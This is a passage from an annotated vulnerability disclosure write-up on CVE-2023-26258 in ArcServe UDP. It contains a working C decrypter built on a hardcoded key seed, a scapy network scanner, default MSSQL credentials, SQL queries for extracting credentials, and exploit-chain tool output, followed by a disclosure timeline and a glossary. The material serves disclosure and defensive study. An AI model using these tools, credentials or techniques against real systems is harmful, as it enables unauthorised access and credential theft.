1800ea327 if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325 {
1800ea344 void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d var_18 = r15_1;
1800ea35a if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358 {
1800ea35c rax_4 = 0xfffffffe;
1800ea35c }
1800ea363 else
1800ea363 {
1800ea363 int64_t rax_5 = -1;
1800ea379 bool cond:0_1;
1800ea379 do
1800ea379 {
1800ea370 cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375 rax_5 = (rax_5 + 1);
1800ea375 } while (cond:0_1);
1800ea390 if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e {
1800ea392 rax_4 = 0xfffffffd;
1800ea392 }
1800ea3aa else
1800ea3aa {
1800ea3aa var_18 = ((char*)arg1 + 0x18);
1800ea3bf if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8 {
1800ea3bf rsi = -4;
1800ea3bf }
1800ea3c2 rax_4 = ((uint64_t)rsi);
1800ea3c2 }
1800ea3c2 }
1800ea3c2 }
1800ea3de return rax_4;
1800ea3de }
What this function does, step by step:
- It receives two arguments:
arg1, a structure holding cryptographic handles, andarg2, a pointer to a string. - If
arg2is null or points to an empty string,rbxis set to the literal"Please input a valid password". This is the key detail: when no password is supplied, a fixed, known string is used instead. CryptAcquireContextWopens a Windows cryptographic provider. If it fails with the error code0x80090016, the code retries with a different flag. This is routine setup.CryptCreateHashcreates a hash object, with0x8003selecting the algorithm.- The
do ... whileloop measures the length of the string inrbxby walking it two bytes at a time, which is how Windows stores text internally. CryptHashDatafeeds that string into the hash.CryptDeriveKeyturns the hash into an encryption key, with0x1000004as a flag.- The return value is an error code, or zero on success.
The string Please input a valid password is used as the seed to build the key used later in CryptDecrypt. With that, a decrypter is straightforward:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
HCRYPTPROV phProv = NULL;
HCRYPTHASH phHash = NULL;
HCRYPTKEY phKey = NULL;
BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)
BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
DWORD pdwDataLen = sizeof(enc);
if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("[!] CryptAcquireContextW Failed!\\n");
exit(-1);
}
if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
printf("[!] CryptCreateHash Failed!\\n");
exit(-1);
}
if (!CryptHashData(phHash, key, 58, 0)) {
printf("[!] CryptHashData Failed!\\n");
exit(-1);
}
if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
printf("[!] CryptDeriveKey Failed!\\n");
exit(-1);
}
CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
printf("[+] Decrypted string: %S", enc);
}
Line by line:
- The
#includelines bring in the Windows cryptographic API and standard input/output. phProv,phHashandphKeyare handles: references to a cryptographic provider, a hash and a key. They start asNULL.enc[]is the encrypted password as raw bytes. The comment explains how to get it: base64-decode thepasswordvalue from the response and take everything after the first0x80bytes.key[]is the fixed stringPlease input a valid password, written as bytes in the two-byte-per-character form Windows uses. The0x00bytes between letters are that padding.pdwDataLenis set to the size of the encrypted data.CryptAcquireContextWopens the provider,PROV_RSA_AESselecting one that supports AES.CryptCreateHashwithCALG_MD5creates an MD5 hash object.CryptHashDatahashes the fixed key string, with58as its length in bytes.CryptDeriveKeywithCALG_AES_256turns that hash into an AES-256 key.16777220is the same flag value seen in the disassembly.CryptDecryptdecryptsencin place and updatespdwDataLento the plaintext length.- The final
printfprints the decrypted password.
Because the key comes from a constant string that anyone can read in the program, the encryption adds no real protection: anyone who obtains the encrypted value can decrypt it.
Step 6: find other instances
By default ArcServe uses the instance name ARCSERVE_APP, so the SQL Browser Service can be abused: a broadcast packet to UDP 1434 will get a reply from any host running that instance. A broadcast is a message sent to every machine on the local network at once; the SQL Browser Service is a small helper that tells clients which database instances exist and on which port.
#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@[redacted])
import sys
import threading
from scapy.all import *
udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP
def ping(ip, iface, port):
print("[*] Broadcasting")
sendp(Ether()/IP(src=ip,dst="[redacted]")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)
def check(pkt):
origin = pkt[IP].src
content = pkt[Raw].load
if content != udp_packet:
data = content[content.find(b"Server"):]
print("\\t[+] " + origin + " => " + data.decode("utf-8"))
def monitor(iface, port):
print("[*] Starting to monitor")
sniff(prn=check, filter="port " + str(port), iface=iface)
if __name__ == "__main__":
print("\\t\\t-=[ ArcServe Finder - @[redacted] ]=-\\n\\n")
if len(sys.argv) != 4:
print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
exit(-1)
iface = sys.argv[1]
port = int(sys.argv[2])
ip = sys.argv[3]
x = threading.Thread(target=monitor, args=(iface,port,))
x.start()
ping(ip, iface, port)
What the script does:
scapyis a Python library for building and sending network packets by hand.udp_packetis the bytes0441524353455256455f415050. The comment says they spellARCSERVE_APP: the first byte is a length, and the rest are the instance name in text.pingbuilds a packet: an Ethernet frame, an IP packet fromipto the broadcast address[redacted], a UDP datagram to port1434from the chosen source port, and the raw payload.sendpsends it on the chosen network interface.checkruns on every packet the sniffer sees. It takes the sender address and the payload, ignores the packet if it is our own broadcast, and otherwise prints everything from the wordServeronwards.monitorstarts the sniffer, filtered to the chosen port.- The main block checks that three arguments were given (interface, source port, source IP), starts the monitor in a background thread, then sends the broadcast.
Alternatively, the following default credentials can be used if they have not been changed:
[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd
These are default database credentials. If nobody changed them, anyone who can reach the database can log in.
Running the scanner from a host on the local network:
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 [redacted]
-=[ ArcServe Finder - @[redacted] ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] [redacted] => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
- The command runs the script on interface
Ethernet 2, from source port6969, with[redacted]as the source address. - The warning about the MAC address is harmless: for a broadcast, the script does not need to look up a specific machine's hardware address.
- The reply line is the useful part. It names the server
KINGSLANDING, the instanceARCSERVE_APP, the version15.0.2000.5, and the TCP port62197where the database listens.
With default database credentials, the IP and port from the reply can be used to read the username and password and to locate the ArcServe instances:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwn.py -target [redacted] -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] [redacted] | kingslanding.[redacted] | Windows Server 2019 Datacenter Evaluation
[+] [redacted] | kingslanding.[redacted] | NULL
Have a nice day! ^_^
- The tool connects to the database on the address and port found by the scanner.
- It logs in with the default credentials.
- It extracts two credential rows, both for
SEVENKINGDOMS\\vagrant, each with the same encrypted password in byte form. The comment says to paste it into the decrypter. - It then lists hosts, showing the address, the hostname and the operating system.
All the passwords retrieved by the tools can be decrypted with ArcServeDecrypter.exe: edit the C code to add the array, compile and run it.
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-
[+] Decrypted string: vagrant
The output shows the decrypted password: vagrant.
Root cause
The web front end takes the protocol, host and port for the credential-validation WebService from the serialised GWT RPC object supplied by the client, and uses them to build the proxy client. Nothing ties those values to the server's own configuration, so an attacker who can edit the request in transit decides where the server sends its validation call. The same design exposes getVersionInfo without authentication, and the authUUID it returns is accepted by validateUserByUUID, which yields a session cookie.
The password protection is also weak: the encrypted password is returned by getLocalHostAsTrust to any holder of a session, and the decryption key is derived from the fixed string Please input a valid password rather than from a secret. The report does not describe any defence that would have stopped the bypass.
Impact
An attacker who can reach the administrative interface can obtain a valid administrator session without credentials, retrieve the administrator password in encrypted form, and decrypt it. The affected versions are 7.0 to 9.0. The same credentials can also be obtained through other paths when the vulnerability is patched, but those paths require privileges or default credentials: reading as_edge_connect_info and as_edge_host from MSSQL when the database still uses default credentials, or reading the AdminUser and AdminPassword values under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine with enough privileges to use the Remote Registry service.
From the database
If the MSSQL database is still configured with the default credentials, two queries are enough. MSSQL is Microsoft's database server, and a query is a request written in SQL, the language databases understand.
select username,password from as_edge_connect_info;
This asks the table as_edge_connect_info for the stored usernames and passwords.
select ipaddress,rhostname,osdesc from as_edge_host;
This asks the table as_edge_host for addresses, hostnames and operating system descriptions, which shows where the ArcServe instances are.
From the registry
The credentials are also saved in the Windows Registry, the central store of settings on a Windows machine. If an attacker has a domain or local user with enough privileges, they can query it remotely using the Remote Registry service, a Windows feature that lets a machine read another machine's registry over the network. The locations are:
Key:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine
Subkeys:
`AdminUser`
`AdminPassword`
With local admin rights on the ArcServe server, the registry values can be read remotely:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d [redacted] -target-ip [redacted]
-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to [redacted]
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to [redacted]
[+] Opening registry key
[*] User: P3TWLADS11STD\\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
- The tool is given a username, a password, a domain and a target address.
- It connects to the target and checks whether the Remote Registry service is running. It is not, so the tool starts it.
- It opens the registry key and reads the stored user and encrypted password.
- It stops the service again, to leave the machine as it found it.
On an unpatched instance, the whole chain can be run in one go:
psyconauta@insulanova:/tmp|⇒ python3 exploit.py [redacted]
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=[redacted]
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
- The tool triggers the information leak and prints the administrator name and the
authUUID. - It uses the UUID to get a session and prints the session cookie.
- It makes an authenticated request to check that the session really works.
- It retrieves the administrator name and the encrypted password.
The tools are published on the MDSec GitHub repository for CVE-2023-26258. CVE stands for Common Vulnerabilities and Exposures: a public catalogue where each known vulnerability gets a permanent identifier, here CVE-2023-26258.
Disclosure timeline
A disclosure timeline records what happened between the researchers reporting a flaw and the vendor fixing it. Dates are as given in the report.
- 09/02/2023: support ticket opened, with proofs of concept and general information shared.
- 10/02/2023: support says the fault is in Tomcat. Tomcat is a common Java web server; the report records this answer without agreeing with it.
- 14/02/2023: support insists on asking about a "Nessus report" or "Tomcat CVE" used for the vulnerability. Nessus is a commercial vulnerability scanner. The researchers replied explaining again where the vulnerability is and how to exploit it, having already shared proofs of concept.
- 20/02/2023: the details were finally forwarded to someone with security knowledge.
- 21/02/2023: the assigned CVE was shared with the ArcServe team.
- 10/03/2023: asked about progress or an ETA for a patch. The reply was that there is no ETA and the issue was still being investigated internally.
- 28/03/2023: ArcServe apologised for the delay but still needed more time to investigate.
- 03/04/2023: ArcServe said a fix was being developed.
- 06/04/2023: ArcServe said the patch would affect three main branches and asked how the researchers wanted to be credited, plus a few questions about legacy versions.
- 06/04/2023: the questions about legacy versions were answered.
- 09/05/2023: asked for an ETA or an update.
- 24/05/2023: asked again for an ETA or an update. ArcServe said a date would be given soon.
- 06/06/2023: asked again for an ETA or an update.
- 21/06/2023: ArcServe indicated that a hotfix was prepared. A hotfix is a small, urgent patch.
- 27/06/2023: ArcServe released the patch without credits.

Fix
ArcServe released a patch on 27/06/2023, after a hotfix was prepared on 21/06/2023. The report does not describe what the patch changed.
Variants to test
These are checks a tester can repeat on similar software. Each one states what a positive result looks like.
- Look for GWT RPC login endpoints whose serialised body carries a host, protocol or port, and edit those values to point at a listener you control. A positive result is a SOAP or HTTP request arriving at your listener with credentials or other data from the target.
- Call unauthenticated SOAP methods such as
getVersionInfoon the same service and check whether the response leaks hostnames, OS versions, account names or UUIDs. A positive result is any of those values in the response. - Take any UUID returned by an information-leak method and submit it to a
validateUserByUUID-style method. A positive result is aSet-Cookiewith a session identifier. - With a session, call methods such as
getLocalHostAsTrustand check whether encrypted secrets are returned. A positive result is a password field in the response. - Reverse the decryption routine for any returned secret and check whether the key is derived from a constant string. A positive result is a decrypted plaintext from the fixed seed.
- Send a broadcast to UDP 1434 with the
ARCSERVE_APPinstance name and check for replies. A positive result is aServerName;...;InstanceName;ARCSERVE_APP;...string with a TCP port. - Try the default MSSQL credentials
arcserve_udp/@rcserveP@ssw0rdagainst the port from the reply and queryas_edge_connect_infoandas_edge_host. A positive result is credential rows or host rows. - With local admin rights, read
AdminUserandAdminPasswordunderHKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Enginethrough the Remote Registry service. A positive result is the encrypted password value.
Glossary
- AES-256: a widely used symmetric encryption method that uses a 256-bit key.
- Authentication bypass: a flaw that lets someone get past a login or identity check without valid credentials.
- Base64: a way of writing binary data as plain text characters so it can travel inside text documents.
- Broadcast: a network message sent to every machine on a local network at once.
- Build number: the specific build of a software version, used to tell releases apart.
- Cookie: a small piece of text a website asks a browser to store and send back with later requests.
- CVE: Common Vulnerabilities and Exposures, a public catalogue giving each known vulnerability a permanent identifier.
- Disassembly: the text listing of a compiled program's instructions, used in reverse engineering.
- Disclosure timeline: a dated record of the steps between reporting a flaw and the vendor fixing it.
- Domain: a group of computers and accounts managed together, here
SEVENKINGDOMS. - ETA: estimated time of arrival, an estimate of when something will be ready.
- GWT (Google Web Toolkit): a framework for building web applications whose browser and server exchange serialised messages.
- GWT RPC: the protocol those GWT messages use.
- Hash / hashing: turning any input into a fixed-length fingerprint; the same input always gives the same fingerprint.
- Hotfix: a small, urgent patch for a specific problem.
- HTTP / HTTPS: the protocols browsers use to talk to websites; HTTPS is the encrypted version.
- Instance: one running copy of a software product, here named
ARCSERVE_APPby default. - Intercepting proxy: a tool that sits between a browser and a server and lets you read, pause and edit requests.
- JAR: a package file containing compiled Java code.
- MD5: a hashing function that produces a fixed-length fingerprint.
- MSSQL: Microsoft's database server.
- Native function: code compiled for the machine itself rather than running inside a managed environment such as Java.
- Port: a numbered door on a computer through which a service listens.
- Proof of concept (PoC): a small demonstration that a vulnerability can actually be exploited.
- Red team: security professionals hired to attack an organisation on purpose, with permission, to test its defences.
- Registry: the central store of settings on a Windows machine.
- Remote Registry service: a Windows feature that lets one machine read another machine's registry over the network.
- Reverse engineering: working backwards from a compiled program to understand what it does.
- Ransomware: malicious software that encrypts a victim's data and demands payment to unlock it.
- Schema: in this report, whether HTTP or HTTPS is used.
- Serialised object: data converted into a compact text or binary form so it can be sent between programs.
- Session: the server-side memory of a logged-in user, tied to a session cookie.
- Session cookie: a cookie that proves a user has a logged-in session.
- SOAP: a standard XML format for structured requests between programs.
- SQL: the language used to query databases.
- SQL Browser Service: a helper service that tells clients which database instances exist and on which port.
- Tomcat: a common Java web server.
- UDP: a simple network protocol that sends packets without setting up a connection.
- UUID: a long, random-looking identifier meant to be unique and hard to guess.
- WebService: a program that other programs talk to over the network, usually with a structured format such as SOAP.
- WSDL: a file describing a WebService's operations and the shape of their arguments.
- XML: a text format made of tags in angle brackets, used to structure data.